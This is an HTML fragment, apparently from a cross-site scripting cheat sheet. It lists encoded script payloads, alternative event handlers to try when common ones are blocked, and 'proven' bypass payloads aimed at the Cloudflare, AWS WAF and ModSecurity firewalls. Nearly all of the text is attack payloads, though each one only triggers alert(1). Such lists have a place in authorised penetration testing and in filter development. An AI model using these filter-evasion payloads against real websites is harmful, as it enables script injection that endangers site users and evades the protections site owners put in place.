</div>
<div class="encoding-type">
<h5>Unicode Encoding</h5>
<code>\u003cscript\u003ealert(1)\u003c/script\u003e</code>
</div>
<div class="encoding-type">
<h5>Hex Encoding</h5>
<code>\x3cscript\x3ealert(1)\x3c/script\x3e</code>
</div>
</div>
</div>
<div class="bypass-category">
<h4>🧩 Alternative Event Handlers</h4>
<p>When common event handlers are blocked, try these alternatives:</p>
<div class="event-grid">
<div class="event-category">
<h5>Mouse Events</h5>
<ul class="event-list">
<li><code>onmouseover</code></li>
<li><code>onmouseout</code></li>
<li><code>onmousedown</code></li>
<li><code>onmouseup</code></li>
<li><code>onclick</code></li>
<li><code>ondblclick</code></li>
</ul>
</div>
<div class="event-category">
<h5>Keyboard Events</h5>
<ul class="event-list">
<li><code>onkeydown</code></li>
<li><code>onkeyup</code></li>
<li><code>onkeypress</code></li>
</ul>
</div>
<div class="event-category">
<h5>Form Events</h5>
<ul class="event-list">
<li><code>onfocus</code></li>
<li><code>onblur</code></li>
<li><code>onchange</code></li>
<li><code>onsubmit</code></li>
</ul>
</div>
<div class="event-category">
<h5>Other Events</h5>
<ul class="event-list">
<li><code>onload</code></li>
<li><code>onerror</code></li>
<li><code>onresize</code></li>
<li><code>onscroll</code></li>
</ul>
</div>
</div>
</div>
</div>
<div id="waf-bypasses" class="subsection">
<h3>WAF Bypass Techniques</h3>
<p>Web Application Firewalls (WAFs) implement various rules to block XSS attacks. Here are proven bypass techniques:</p>
<div class="waf-bypasses">
<div class="waf-card cloudflare">
<h4>☁️ Cloudflare Bypasses</h4>
<div class="code-example">
<pre><code># Unicode bypass
<script>alert\u0028\u0031\u0029</script>
# Case variation
<ScRiPt>alert(1)</ScRiPt>
# Encoding combination
<script>eval(atob('YWxlcnQoMSk='))</script>
# Template literals
<script>alert`1`</script></code></pre>
</div>
</div>
<div class="waf-card aws">
<h4>🌩️ AWS WAF Bypasses</h4>
<div class="code-example">
<pre><code># Mixed case with spaces
< ScRiPt >alert(1)</ ScRiPt >
# Alternative tags
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
# Event handler variations
<img src=x oNlOaD=alert(1)>
<body oNlOaD=alert(1)></code></pre>
</div>
</div>
<div class="waf-card modsecurity">
<h4>🔒 ModSecurity Bypasses</h4>
<div class="code-example">
<pre><code># Comment injection
<script>/**/alert(1)</script>
<script>alert/**/('1')</script>
# String concatenation
<script>alert('1'+'')</script>
<script>alert(String.fromCharCode(49))</script>
# Alternative execution
<script>Function('alert(1)')()</script></code></pre>
</div>
</div>
</div>
</div>